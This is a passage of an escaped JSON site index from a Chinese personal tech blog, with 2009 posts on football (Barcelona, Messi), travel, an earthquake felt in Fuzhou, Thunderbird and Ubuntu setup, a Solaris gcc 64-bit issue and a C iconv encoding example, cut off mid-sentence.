003cp\u003e不得不承认: 2009-10赛季西甲开赛以来我半夜爬起来看巴萨比赛的次数与2008-09赛季相比减少了许多，记得上一次爬起来看巴萨比赛还是本赛季的西班牙国家德比，而上一次亲眼见证巴萨夺冠的比赛还是更久以前的\u003ca href=\"http://en.wikipedia.org/wiki/UEFA_Super_Cup\"\u003e欧洲超级杯\u003c/a\u003e。昨天就知道周日凌晨有巴萨的\u003ca href=\"http://en.wikipedia.org/wiki/FIFA_Club_World_Cup\"\u003e世俱杯\u003c/a\u003e决赛，之前巴萨已经捧得五冠了，如果能拿下这场比赛，那巴萨将成为世界足球史上第一支全满贯的俱乐部球队。为了亲眼见证这一伟大纪录的诞生，我决定半夜爬起来看比赛！由于央视五套不直播这场比赛，所以只能转战网络收看。\u003c/p\u003e","title":"巴萨，六冠王！"},{"content":"这周应客户要求到现场做产品新版本升级过程的支持工作，这次是我第二次来到榕城了。我们选择住在五四路附近的一家经济型酒店内，这里离福州分公司较近。昨晚产品第一次升级，在客户现场熬了一宿，今天上午8点多才回到酒店。工作了一宿，头昏脑胀的，洗漱完毕后倒在床上便睡，这一觉一直持续到下午3点，就再也睡不着了。由于隔天还有一次升级操作，所以起床后做些升级前的准备工作。晚饭后躺在床上看电视消遣，晚上9点多，我正在看央视五套的体育新闻呢，突然感觉床开始晃动，最初以为是我自己的身体在抖动，但是后来发现不是，的确是床在动，记忆中大约20多秒吧，抖动消失。之后也没太在意。朦胧中福州的同事打来电话说台湾地震了，6.8级！这才恍然大悟，立即打开新浪新闻主页，发现的确台湾地震了。原以为只有在家乡才有地震，没想到在这里也能碰到。此次震中的台湾地区估计受损不小，但愿不要再发生较大余震了。\n另地震时，我住在酒店二楼尚且如此，想必高层住宅里的人们地震感受会更加强烈！\n","permalink":"https://tonybai.com/2009/12/19/feel-earthquake-obviously-at-fuzhou/","summary":"\u003cp\u003e这周应客户要求到现场做产品新版本升级过程的支持工作，这次是我第二次来到\u003ca href=\"http://tonybai.com/2009/10/24/a-trip-to-fuzhou/\"\u003e榕城\u003c/a\u003e了。我们选择住在五四路附近的一家经济型酒店内，这里离福州分公司较近。昨晚产品第一次升级，在客户现场熬了一宿，今天上午8点多才回到酒店。工作了一宿，头昏脑胀的，洗漱完毕后倒在床上便睡，这一觉一直持续到下午3点，就再也睡不着了。由于隔天还有一次升级操作，所以起床后做些升级前的准备工作。晚饭后躺在床上看电视消遣，晚上9点多，我正在看央视五套的体育新闻呢，突然感觉床开始晃动，最初以为是我自己的身体在抖动，但是后来发现不是，的确是床在动，记忆中大约20多秒吧，抖动消失。之后也没太在意。朦胧中福州的同事打来电话说台湾地震了，6.8级！这才恍然大悟，立即打开新浪新闻主页，发现的确台湾地震了。原以为只有在家乡才有地震，没想到在这里也能碰到。此次震中的台湾地区估计受损不小，但愿不要再发生较大余震了。\u003c/p\u003e\n\u003cp\u003e另地震时，我住在酒店二楼尚且如此，想必高层住宅里的人们地震感受会更加强烈！\u003c/p\u003e","title":"福州震感明显"},{"content":"早上起床，看时间已是7点半，这一觉竟整整睡了12个小时，记忆中还未曾睡过如此的长觉。\n这一周一直在郑州出差，原计划是给客户做三天的培训，不料中途却发生些事故，培训的效果打了折扣，同时也延迟了返程的时间。在客户现场，压力大自不必说，又逢事故，正迎合了那句古语：”屋漏偏逢连阴雨”。于是乎身心受累，自然也得不到很好的休息。\n回来的前一天偶感呼吸不畅，肺部不适，伴有咳嗽，似乎有感冒的迹象，返程的那天病情有所加重。近期甲流猖獗，不得不防，遂周六到医院检查，还好只是呼吸道感染，注射了点滴，病情稍有缓解。由于注射液中有镇定之成份，加上近期休息不好，回到家中后感觉很是困倦，遂早早上床入睡，也就有了这次12小时的长觉。\n顺便在这里简单记录一下此次中原之行。这是我第一次去郑州，上周日的航班，因飞机晚点一个小时，我们到达郑州市内时正值晚高峰，让我们意想不到的是郑州市内的交通堵的如此厉害，民航大巴在路上爬行了许久才到达目的地。打车去酒店绕的也是小路。郑州市区面积不小，应该是我到过的几个省会级城市里较大的一个了，郑州的立交桥建造的很是宏伟，有些北京的风格，新手上去后迷路的概率很高。\n前三天的培训在郑东新区的一个酒店会议厅内进行。每天往返于酒店和培训地之间，匆忙间也不曾有机会走进真正的河南人的生活中，唯一能直观感受到的就是“吃”了。河南人以面食为主，大街小巷到处都有面馆，其他餐馆主食也是以面为主，当然米饭也有，主要是为我们这些以米饭为主的游客准备的^_^。餐馆里的面主要指面条，我接触过的主要有两大类：汤面和捞面。不晓得郑州本地最正宗的面条是哪一家餐馆，只是在入住酒店的周围吃过一些面，什么茄汁面之类的，总体感觉量大价廉，至于味道倒也没有什么特殊的。至于烩面，很遗憾，还没有机会品尝。\n酒店提供的早餐，样式少的可怜，价格高的离谱，所以在吃过一次后，我们走出了酒店，到外面去尝尝河南本地的特色早餐。和北方常见的油条豆浆不同，河南人在早餐上的选择似乎更广泛些，我见到的有喝羊汤的，有吃面条的，有吃水煎包、韭菜盒子和豆腐脑的，更有像我这样的，大早起来跑到”福建沙县小吃”吃馄饨和蒸包的。总体而言，河南还属于北方饮食范畴，对于我来说，适应起来不成问题。\n本周五飞回了沈阳，短暂而紧张的公务差让我没能有机会去趟哪怕是像“河南省博物馆”这样的地方，更何况像少林寺这样的热门景点了。只能将期望留到下次了！^_^\n","permalink":"https://tonybai.com/2009/12/13/sleep-for-12-hours/","summary":"\u003cp\u003e早上起床，看时间已是7点半，这一觉竟整整睡了12个小时，记忆中还未曾睡过如此的长觉。\u003c/p\u003e\n\u003cp\u003e这一周一直在郑州出差，原计划是给客户做三天的培训，不料中途却发生些事故，培训的效果打了折扣，同时也延迟了返程的时间。在客户现场，压力大自不必说，又逢事故，正迎合了那句古语：”屋漏偏逢连阴雨”。于是乎身心受累，自然也得不到很好的休息。\u003c/p\u003e","title":"睡了十二个小时"},{"content":"今天上午在公车上收到一则手机报-体育新闻：“巴萨球星梅西获得2009年欧洲金球奖！”，虽然作为梅西球迷的我早已猜到梅西会获得这份荣誉，但是当梅西真正拿到金球奖的时刻，我的心里还是充满了喜悦。\n《法国足球》杂志创立的金球奖在1995年改制后已经成为了表彰世界最优秀足球运动员的最权威奖项，金球奖也是每一名足球运动员在职业生涯全力奋斗的目标。梅西在2007和2008年先后与金球奖失之交臂后，终于在今年凭借自己的完美表现毫无争议的拿到了自己职业生涯中的第一座金球奖。\n欧洲金球奖奖杯\n2009年金球奖先生-梅西\n梅西的金球时刻\n“明年的金球还是我的！”\n相信2009年的金球奖只是梅西辉煌足球人生的起点！\n","permalink":"https://tonybai.com/2009/12/01/leomessi-win-ballon-dor/","summary":"\u003cp\u003e今天上午在公车上收到一则手机报-体育新闻：“巴萨球星\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e获得2009年欧洲金球奖！”，虽然作为\u003ca href=\"http://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/\"\u003e梅西球迷\u003c/a\u003e的我早已猜到梅西会获得这份荣誉，但是当梅西真正拿到金球奖的时刻，我的心里还是充满了喜悦。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.francefootball.fr/\"\u003e《法国足球》\u003c/a\u003e杂志创立的金球奖在1995年改制后已经成为了表彰世界最优秀足球运动员的最权威奖项，金球奖也是每一名足球运动员在职业生涯全力奋斗的目标。梅西在2007和2008年先后与金球奖\u003ca href=\"http://tonybai.com/2009/01/13/leomessi-start-again-from-scratch-on-2009/\"\u003e失之交臂\u003c/a\u003e后，终于在今年凭借自己的完美表现毫无争议的拿到了自己职业生涯中的第一座\u003ca href=\"http://en.wikipedia.org/wiki/Ballon_d%27Or\"\u003e金球奖\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/404451259671590l.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e欧洲金球奖奖杯\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/4044512596725937.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e2009年金球奖先生-梅西\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/4044512601053632.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e梅西的金球时刻\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/404451260105398s.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e“明年的金球还是我的！”\u003c/p\u003e\n\u003cp\u003e相信2009年的金球奖只是梅西辉煌足球人生的起点！\u003c/p\u003e","title":"今年金球奖属于梅西"},{"content":"对于我个人来说，将工作环境切换到Ubuntu上来有几个“坎儿”要迈过，其中最为迫切的一个就是Mail如何在Windows和Linux下共享的问题，今天我找到了解决方法。\nThunderbird和Firefox一样，都来自Mozilla组织。和Outlook等软件不同的是，Thunderbird是可以跨平台的，更有甚者，Thunderbird可以帮助我们在Windows和Linux共享邮件，当然需要作简单设置。\n我的机器上安装了三系统：WinXP、Ubuntu 9.10和Slax，其中常用的是WinXP和Ubuntu。在Windows上最常用的Mail Client端软件为Outlook 2003，但Outlook是收费软件，不支持夸平台，更谈不上Mail跨平台共享。而这些恰恰是Thunderbird吸引眼球之所在。\n所谓的跨平台共享邮件是指计算机上只存储一份Mail Data，而你在该计算机上所安装的不同OS上都有某个特定应用可以正确存取该数据文件，这样带来的方便是很大的。Thunderbird就是这样的一个特定应用，它可以被安装在不同的OS上，并且可以在不同OS上运行并正确存取同一份Mail Data文件。\n以我自己的本子为例，记录一下如何进行共享邮件设置：\n首先，分别在Windows和Ubuntu下面下载并安装最新中文版本的Thunderbird(目前是2.0.0.23)。\n在某个OS上运行并配置Thunderbird，这里我是在Windows上进行配置的。这里有一个注意事项，那就是你的mail数据的存储位置的选择。在“帐号配置”的“服务器”配置标签中，找到“本地目录”配置项，这个配置项将决定了Thunderbird将Mail Data存储在什么位置。如果你要在Windows和Ubuntu之间共享这个Mail Data，那么就需要让Windows和Ubuntu都能看得到、访问得到这个文件。我这里选择在一个FAT32分区上存储Mail数据。\n配置完Mail帐户，Thunderbird默认会在C:\\Documents and Settings\\[username]\\Application Data\\Thunderbird\\Profiles\\xxxxxxxx.default中存储该帐户的配置信息。为了能在两个OS间共享Mail Data，我们就需要让这个配置在两个OS上都能发挥作用。\n我们将该配置文件移动到一个FAT32分区上，比如这里以E:\\Thunderbird_profile为例，将xxxxxxxx.default移动到E:\\Thunderbird_profile目录下。这时你要是启动Thunderbird，那么Thunderbird就无法找到该配置文件了。但是我们需要Thunderbird找到并读取该配置文件，怎么做呢？我们需要修改另外一个文件，在Windows上这个文件就是C:\\Documents and Settings\\[username]\\Application Data\\Thunderbird\\profiles.ini。\n初始的profiles.ini文件内容如下：\n[General]\nStartWithLastProfile=1\n[Profile0]\nName=default\nIsRelative=1\nPath=/Profiles/xxxxxxxx.default\n其中IsRelative用来指示Path这个字段配置的是相对路径还是绝对路径，默认是相对路径。由于我们已经将配置数据移动到E:\\Thunderbird_profile目录下了，那么我们就不能在使用相对路径了。修改结果如下：\n[General]\nStartWithLastProfile=1\n[Profile0]\nName=default\nIsRelative=0\nPath=E:\\Thunderbird_profile\\xxxxxxxxx.default\n启动Windows上的Thunderbird，该配置被正确读取，收发Mail正常。\n切换到Ubuntu下面，同样道理，你需要修改profiles.ini文件，该文件在~/.mozilla-thunderbird下面，修改方式与Windows上相同。不同的是Path字段要配置成Linux格式的路径。\n启动Ubuntu下的Thunderbird，哇，一切与Windows上的Thunderbird一模一样。你可以看到全部的在Windows上收到和发送出去的那些邮件。\n共享Mail设置成功！\n后记：你在ubuntu下按上面所描述的完成配置后启动thunderbird，如果你得到的是一个对话框：\u0026ldquo;Thunderbird is already running, but not responding. To open a new\nwindow you must close the existing thunderbird process, or restart your\nsystem\u0026rdquo;，这种情况多是因为你的Windows分区没有被自动挂载。我在Ubuntu 9.10和10.04两个系统上都遇到了这种情况。简单处理方法：进入计算机，双击Mail Data和Mail配置所在的那个Windows FAT32分区逻辑盘，Ubuntu会自动将之挂载。其后你再启动Thunderbird，一切就OK了。这种登录后手动挂载的方法分区挂载点为/media/xxx，其中xxx是一个类似UUID的字符串，不那么具有可读性。如果你想通过设置fstab来让Ubuntu在启动后就自动挂载分区，那你可要小心了，自动挂载的分区下的文件和目录的owner和group都是root，这样你正常启动thunderbird依旧会得到那个对话框。你可以尝试使用sudo thunderbird启动; 或改变文件和目录的owner和group;或钻研一下fstab的设置，以达到自动挂载后就有普通用户访问权限。另外自动挂载还涉及到字符编码问题，稍有不慎你就会看到被挂载分区内大量以中文乱码为名字的文件。\n","permalink":"https://tonybai.com/2009/11/20/cross-platform-configuration-of-thunderbird/","summary":"\u003cp\u003e对于我个人来说，将工作环境切换到\u003ca href=\"http://tonybai.com/2008/02/23/many-complaints-about-ubuntu/\"\u003eUbuntu\u003c/a\u003e上来有几个“坎儿”要迈过，其中最为迫切的一个就是Mail如何在Windows和Linux下共享的问题，今天我找到了解决方法。\u003c/p\u003e\n\u003cp\u003eThunderbird和\u003ca href=\"http://tonybai.com/2008/12/17/accelerate-the-firefox-on-ubuntu/\"\u003eFirefox\u003c/a\u003e一样，都来自\u003ca href=\"http://www.mozilla.org/\"\u003eMozilla\u003c/a\u003e组织。和Outlook等软件不同的是，Thunderbird是可以跨平台的，更有甚者，Thunderbird可以帮助我们在Windows和Linux共享邮件，当然需要作简单设置。\u003c/p\u003e\n\u003cp\u003e我的机器上安装了三系统：WinXP、\u003ca href=\"http://tonybai.com/2009/11/16/upgrade-to-ubuntu-9-10/\"\u003eUbuntu 9.10\u003c/a\u003e和\u003ca href=\"http://www.slax.org/\"\u003eSlax\u003c/a\u003e，其中常用的是WinXP和Ubuntu。在Windows上最常用的Mail Client端软件为Outlook 2003，但Outlook是收费软件，不支持夸平台，更谈不上Mail跨平台共享。而这些恰恰是Thunderbird吸引眼球之所在。\u003c/p\u003e","title":"Thunderbird跨平台共享邮件设置"},{"content":"Ubuntu 9.10版本在10月29日发布，虽然没有太多吸引我的地方，但是看了网上很多关于Ubuntu 9.10的文章后，心里面还是痒痒的，终于在上周五我用午间休息时间完成了Ubuntu 9.10版本的安装。\n光盘是让同事帮我下载并刻录的，安装过程和以前没什么两样，由于本本中已经有了9.04版本，直接插入光盘升级安装就可以了。大约40分钟后，安装完毕，重启进入Ubuntu 9.10。首先感受到的变化就是Ubuntu的启动和登录界面了，黑白鲜明的反色对比的登录界面显得更科幻，启动速度较快，比起我的Windows要快上太多。\n由于导入了9.04的用户数据，所以省去了很多工作。但是更新源、安装中文语言支持是必不可少的。这些工作都结束后突然觉得这个9.10安装后屏幕上的中英文字体看起来都很别扭，不舒服；使用9.04版本时我也使用的是默认字体，但是却没有这么别扭的感觉，遂尝试更换字体。在桌面右键“更改桌面背景”-\u0026gt;\u0026ldquo;字体\u0026quot;中看到当前使用的字体都是\u0026quot;WenQuanYi Bitmap Song\u0026rdquo;，然后到网上查了一下，发现用文泉驿微米黑的人不少，我也下载了一份(sudo apt-get install ttf-wqy-microhei)并配置了系统字体以及Firefox的字体，果然界面顿显漂亮多了，以后也就是它了:)。\n以往每每安装Ubuntu后都要自行安装中文输入法软件，但这次不用，Ubuntu 9.10默认自带了一款称为IBus的输入法框架。之所以称为框架是因为它不仅仅支持中文，还支持世界上其他重要的语言。Ctrl+Space键唤起IBus，尝试在文档中输入中文，发现这个IBus输入法怎么好似十多年前的全拼输入法呢？只能一个字一个字的输入，没有智能联想和光标跟随提示，不能进行词输入和长句输入，太落伍了。但是为什么网上很多人还声称有了IBus就可以不用以前的SCIM和fcitx了呢？难道我还没有挖掘出IBus真正强大的功能所在？经Google的帮忙，我终于明白了原因：原来Ubuntu 9.10默认启动的IBus的中文输入法都不怎么好用，你需要自己重新在IBus设置中添加。选择“系统”-\u0026gt;“首选项”-\u0026gt;\u0026ldquo;IBus设置\u0026rdquo;,打开\u0026quot;IBus首先项\u0026quot;对话框，选择“输入法”标签，在“选择输入法”下拉框中找到“汉语”，在\u0026quot;汉语\u0026quot;后面的可选择输入法中选择\u0026quot;拼PinYin\u0026quot;，这才是我们需要的中文输入法。另外默认的IBus的光标跟随提示框是竖向的，你也可以在IBus设置中修改之，改为于Windows下输入法一致的“横向”提示。\nUbuntu 9.10还提供了\u0026quot;软件中心\u0026quot;对系统中的软件进行更好的管理，不过我目前还是习惯使用apt工具。Ubuntu One是9.10提供的Ubuntu云存储的一个客户端，不过不知为何我的机器上的Ubuntu One一启动就报错，另外通过Web页面访问的Ubuntu One目前还很慢，这是我在公司和家里测试的结果。\n其他的，还待使用中继续挖掘。\n","permalink":"https://tonybai.com/2009/11/16/upgrade-to-ubuntu-9-10/","summary":"\u003cp\u003e\u003ca href=\"http://www.ubuntu.com/\"\u003eUbuntu 9.10\u003c/a\u003e版本在10月29日发布，虽然没有太多吸引我的地方，但是看了网上很多关于Ubuntu 9.10的文章后，心里面还是痒痒的，终于在上周五我用午间休息时间完成了Ubuntu 9.10版本的安装。\u003c/p\u003e","title":"升级到Ubuntu 9.10"},{"content":"\n梅西版狮子吼\n图片中梅西的狮子吼功夫似曾相识，对了，那应该是N多年前的一张图片了，那张图片的主人公是另外一位我最喜欢的阿根廷球星，外号战神的巴蒂斯图塔，同样是身穿阿根廷蓝白杉，同样留着短发（因国家队主教练不允许留长发），同样是进球后的激情怒吼。很遗憾，那张照片暂时没能找到。\n今晨踉踉跄跄地以南美区第四名闯入2010年南非世界杯的阿根廷队应邀在客场与西班牙队进行一场友谊赛。不出所料，阿根廷输了，输得毫无脾气。以往阿根廷队经典的连续流畅的传接配合早已转移到了西班牙人身上，面对华丽的西班牙，阿根廷只能用粗糙的犯规来阻止对方的攻势。这样的阿根廷队不能不让人失望，虽然阿根廷队中有我最喜欢的梅西。比赛中梅西靠点球为阿根廷扳平比分，但是却无法给阿根廷带来胜利，也许他也只能用怒吼来宣泄着心中的不快了。\n我还是会一如既往的支持着阿根廷队，但是本着务实的态度，看看目前阿根廷队中后场阵容配备，我还真不敢对这支蓝白军团在明年世界杯上抱有太大奢望。\n梅西才22岁，还年轻，不应该承受这么大的压力！22岁时马拉多纳又如何？\n内心的另一面：\n1986年那届世界杯，夺冠大热门是拥有普拉蒂尼的欧洲冠军法国队和拥有济科的南美之王巴西队，结果马拉多纳带领的阿根廷队夺冠了。\n1998年和2002年两届世界杯，阿根廷都是公认的夺冠大热门，结果阿根廷队是一次比一次提早打道回府。\n也许… …\n","permalink":"https://tonybai.com/2009/11/15/lion-roaring-of-leo-messi/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/404451258254684o.jpg\"\u003e\u003cbr\u003e\n梅西版狮子吼\u003c/p\u003e\n\u003cp\u003e图片中\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e的狮子吼功夫似曾相识，对了，那应该是N多年前的一张图片了，那张图片的主人公是另外一位我最喜欢的阿根廷球星，外号战神的\u003ca href=\"http://en.wikipedia.org/wiki/Gabriel_Batistuta\"\u003e巴蒂斯图塔\u003c/a\u003e，同样是身穿阿根廷蓝白杉，同样留着短发（因国家队主教练不允许留长发），同样是进球后的激情怒吼。很遗憾，那张照片暂时没能找到。\u003c/p\u003e\n\u003cp\u003e今晨踉踉跄跄地以南美区第四名闯入2010年南非世界杯的阿根廷队应邀在客场与西班牙队进行一场友谊赛。不出所料，阿根廷输了，输得毫无脾气。以往阿根廷队经典的连续流畅的传接配合早已转移到了西班牙人身上，面对华丽的西班牙，阿根廷只能用粗糙的犯规来阻止对方的攻势。这样的阿根廷队不能不让人失望，虽然阿根廷队中有我最喜欢的\u003ca href=\"http://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/\"\u003e梅西\u003c/a\u003e。比赛中梅西靠点球为阿根廷扳平比分，但是却无法给阿根廷带来胜利，也许他也只能用怒吼来宣泄着心中的不快了。\u003c/p\u003e","title":"梅西版狮子吼"},{"content":"清晨拉开窗帘，外面已是白茫茫一片，漫天飞舞的已经从昨晚的雪粒变成了一片片大大的雪花了。小区里的积雪已经有了一定的厚度，这让人不禁想起了2007年元宵节那次暴雪经历。这是今年沈城的第二场雪了，第一场雪我没有赶上，那时我恰好远在福州。\n沈城是从昨天下午开始降雪的，在那之前中原地区（河北、山西等）已经被几十年不遇的大雪折腾了够呛。虽说省气象中心早已发布了大雪暴雪警报，但是大雪到来时大家仍准备不足。在昨晚漫长的回家路上，亲眼见到的因道路湿滑而导致撞车事故不下十起。其中在二环桥上就看到了有10多辆车连环相撞的“壮观场面”。班车在二环上“蜗速”爬行，到家时已整整比正常时间晚了一个小时。\n由于积雪路滑，今早的班车依旧行驶缓慢。马路主干道上环卫工人们正在全力清扫积雪，上班族们步行的多了，骑自行车和电动车的少了。班车上闲的无聊，拿出手机上Google Reader手机版，看看订阅的博客。以前遇到这种情况都是去“织围脖”的，可是目前饭否归来遥遥无期。Twitter国内无法访问，只能“翻墙”，或使用一些不受限的第三方Web客户端。新浪微博虽然上线了，也炒作的挺火，但是内心里还是不喜欢用大门户的Web2.0产品。\n降雪也不是全无益处，起码可以净化一下空气，稀释一下病菌的浓度。另外这场雪粘性大，树梢枝头挂的到处都是，很是漂亮。雪停时大家不妨出来拍拍雪景。\n","permalink":"https://tonybai.com/2009/11/13/heavy-snow-and-long-journey/","summary":"\u003cp\u003e清晨拉开窗帘，外面已是白茫茫一片，漫天飞舞的已经从昨晚的雪粒变成了一片片大大的雪花了。小区里的积雪已经有了一定的厚度，这让人不禁想起了\u003ca href=\"http://tonybai.com/2007/03/05/shenyang-after-the-heavy-snow/\"\u003e2007年元宵节那次暴雪经历\u003c/a\u003e。这是今年沈城的第二场雪了，第一场雪我没有赶上，那时我恰好远在\u003ca href=\"http://tonybai.com/2009/10/24/a-trip-to-fuzhou/\"\u003e福州\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e沈城是从昨天下午开始降雪的，在那之前中原地区（河北、山西等）已经被几十年不遇的大雪折腾了够呛。虽说省气象中心早已发布了大雪暴雪警报，但是大雪到来时大家仍准备不足。在昨晚漫长的回家路上，亲眼见到的因道路湿滑而导致撞车事故不下十起。其中在二环桥上就看到了有10多辆车连环相撞的“壮观场面”。班车在二环上“蜗速”爬行，到家时已整整比正常时间晚了一个小时。\u003c/p\u003e","title":"大雪下，路漫漫"},{"content":"我有一个不算是很好的习好，那就是喜欢将物品摆放在面上，而不喜欢将物品收纳到很隐蔽的箱子或柜子里，这样我就能直接看得到，摸得到，用的时候直接取之。如果你到我家里，你就会发现桌子上、茶几上、床上、沙发上到处平铺堆放着物品：衣服、食品、书等。LP很讨厌我乱放东西，尤其是书（喜欢买纸板书，书也就多了起来），每天转圈的收拾（或指挥我收拾^_^），可以过了一段时间后，就又如初了。这个习好也直接延伸到了我的电脑上了。\n很多看过我的电脑的同事，都给出了一个评价那就是“乱”，主要是指桌面乱。以前基本我的桌面都是铺满各种图标的。LP每次使用我的电脑时如果看到桌面布满图标，就会立刻严令我清理（我也就是在这种情况下才清理一次）。被LP责令了几次后，我也想改进一下，但是习好使然，不知不觉中图标就又占满了桌面，问题依旧了。\n上周末，看到了“小众软件”极力推荐的一款桌面图标管理软件-\u0026quot;Fences\u0026quot;，对于Personal Use，该软件是Free的。抱着试试看的心理，下载并安装了这个软件（安装后需要reboot）。\n该工具最吸引我的功能是：我可以通过双击桌面在隐藏和显示所有桌面图标间自由切换，即使我的桌面布满图标，我也仅需双击桌面就能让图标全部消失，眼前顿时畅快清净了许多，至少可以用来实施“障眼法”蒙混过关（过我LP这关）。\n另外该工具可以帮你分类管理图标，通过创建多个不同的fence来收纳桌面上的图标。创建一个new fence的方法是：在桌面上按住右键，用拖拽的方式在桌面上圈出一个矩形，然后松开右键。点击弹出的按钮：\u0026ldquo;Create new fence here\u0026rdquo;。我创建了三个fences：App, Proj和Temp。将App这个Fence放在桌面，并调整为扁矩形的样子，看起来还真有些Apple Mac桌面的架势。\n如果你和我有相似的习好，不妨在你的电脑上试用一下这款软件。不过这样的工具还没有现实生活版的^_^。\n","permalink":"https://tonybai.com/2009/11/09/clean-my-desktop/","summary":"\u003cp\u003e我有一个不算是很好的习好，那就是喜欢将物品摆放在面上，而不喜欢将物品收纳到很隐蔽的箱子或柜子里，这样我就能直接看得到，摸得到，用的时候直接取之。如果你到我家里，你就会发现桌子上、茶几上、床上、沙发上到处平铺堆放着物品：衣服、食品、书等。LP很讨厌我乱放东西，尤其是书（喜欢\u003ca href=\"http://tonybai.com/2007/11/15/buy-book-on-internet-for-the-first-time/\"\u003e买纸板书\u003c/a\u003e，书也就多了起来），每天转圈的收拾（或指挥我收拾^_^），可以过了一段时间后，就又如初了。这个习好也直接延伸到了我的电脑上了。\u003c/p\u003e","title":"这下桌面干净了"},{"content":"上午在做一个Solaris 10 on x86代码移植测试过程中，发现一个Gcc编译问题，这里记录下来以作备忘。\n我们的代码在一台安装了Solaris 10 for x86平台的机器A上进行64位编译(gcc -m64)时报错，错误信息如下：\n\u0026ldquo;xx.c:1: sorry, unimplemented: 64-bit mode not compiled in\u0026rdquo;。\n而奇怪的是在另外一台同为Solaris 10 for x86的机器B（与上面的机器A硬件配置相同）上则顺利编译通过。最初猜测可能是因为系统设置或环境变量设置不同导致的问题，经过对比检查后发现以上设置都一致，最后将问题定位在Gcc编译器版本上了。\n机器A上使用的是Gcc 3.4.6 for Solaris 10 on x86版本；而可以通过编译的那台机器B上使用的是Gcc 3.4.3 (csl-sol210-3_4-branch+sol_rpath) for Solaris 10 x86版本。尝试在机器A上使用Gcc 3.4.3进行编译，错误未再出现，看来的确是Gcc编译器版本问题。\n遂到Sunfreeware网站上一查究竟。在Gcc 3.4.6 for Solaris 10 on x86的软件说明中，有这样一段话：\n“If you need to do 64-bit compiles, you should use the gcc-3.4.3 that comes with Solaris 10 in /usr/sfw/bin.”\n而Gcc 3.4.6 for Solaris 10 on sparc的版本说明中，则明确表示：“When needed and the source code supports it, this C compiler can create 64-bit executables via the -m64 flag as well as the usual 32-bit ones.”\n","permalink":"https://tonybai.com/2009/11/05/a-64bit-compiling-problem-on-x86-solaris/","summary":"\u003cp\u003e上午在做一个Solaris 10 on x86代码移植测试过程中，发现一个Gcc编译问题，这里记录下来以作备忘。\u003c/p\u003e\n\u003cp\u003e我们的代码在一台安装了Solaris 10 for x86平台的机器A上进行64位编译(gcc -m64)时报错，错误信息如下：\u003c/p\u003e","title":"一个Solaris x86平台64位编译的问题"},{"content":"前不久某南方省份的客户反馈说我们的产品对某些生僻字(如“赟”)的转码支持的不好，终端收到后无法显示这个字。\n经分析，发现类似“赟”这样的字在GB2312编码标准中并未收录，要想支持这样的生僻字的内码转换需要产品支持目前最新的中文编码标准GB18030。而我们的产品在诞生到现在就一直只支持GB2312，这就是导致这一问题的直接原因。\n产品以前的代码库中内码转换的接口都是自己实现的，仅支持GB2312和UCS-2(即UNICODE16)之间的内码互转，如果要扩展就要更换码表。与其耗费力气找码表还不如挖掘一下开源世界最常用的内码转换工具iconv呢。iconv既提供了命令行转换工具(iconv)，也提供一系列函数库接口供开发人员在代码里调用。很多知名的开源软件包(如vim等)都依赖iconv包。而iconv也几乎遍布所有unix和linux平台，iconv提供的转码支持也基本涵盖了世界范围内绝大多数主流字符集，其中支持的中文字符集就包括GBK, CP936, GB18030, BIG5等主流内码标准。\niconv的函数接口很简单，我迫不及待的想写一个例子测试一下了（不料，就在写下的这个简单的例子里我犯下了一个低级错误^_^)。\n下面例子代码目的是将\u0026quot;赟\u0026quot;从UTF-8编码转换为GB18030编码（环境：GCC 3.4.6 on Solaris 10 for X86）。\n#include\nint main() {\nchar in[8];\nchar out[255];\nmemset(in, 0, sizeof(in));\nmemset(out, 0, sizeof(out));\nin[0] = 0xe8; /* \u0026ldquo;赟\u0026quot;的UTF-8编码: E8B59F */\nin[1] = 0xb5;\nin[2] = 0x9f;\nsize_t inlen = strlen(in);\nsize_t outlen = sizeof(out);\niconv_t cd;\ncd = iconv_open(\u0026ldquo;gb18030\u0026rdquo;,\u0026ldquo;utf-8\u0026rdquo;); /* from utf-8-\u0026gt;gb18030 */\nif (cd \u0026lt; 0) {\nprintf(\u0026ldquo;iconv_open failed!\\n\u0026rdquo;);\nreturn -1;\n}\nif (iconv(cd, \u0026amp;in, \u0026amp;inlen, \u0026amp;out, \u0026amp;outlen) \u0026lt; 0) {\nprintf(\u0026ldquo;iconv failed!\\n\u0026rdquo;);\niconv_close(cd);\nreturn -1;\n}\nprintf(\u0026ldquo;out = %s\\n\u0026rdquo;, out);\niconv_close(cd);\nreturn 0;\n}\n以上代码通过iconv_open获取一个转换描述符，这个描述符包含了转换信息（如从UTF-8转换到GB18030），然后调用iconv接口对传入的字符串进行转换，转换后的结果存储在OUT缓冲区中。\n编译执行执行上面代码：\ngcc -g testiconv.c -liconv\ntesticonv.c: In function `main\u0026rsquo;:\ntesticonv.c:26: warning: passing arg 2 of `libiconv\u0026rsquo; from incompatible pointer type\ntesticonv.c:26: warning: passing arg 4 of `libiconv\u0026rsquo; from incompatible pointer type\n./a.out\n段错误 (core dumped)\n为什么会dump core呢？回顾一下编译时的Warning信息，再对比一下iconv接口的原型：\nsize_t iconv (iconv_t cd, const char* * inbuf, size_t * inbytesleft,\nchar* * outbuf, size_t * outbytesleft);\n似乎没什么问题，但又仔细分析了一下Core的栈上信息，发现了一个低级失误：\n问题就出在iconv的第二个和第四个参数上，我在栈上分配了数据in和out，并简单的将\u0026amp;in和\u0026amp;out作为参数传给了iconv。iconv要得是char **类型的参数。看起来\u0026amp;in和\u0026amp;out类型也是char 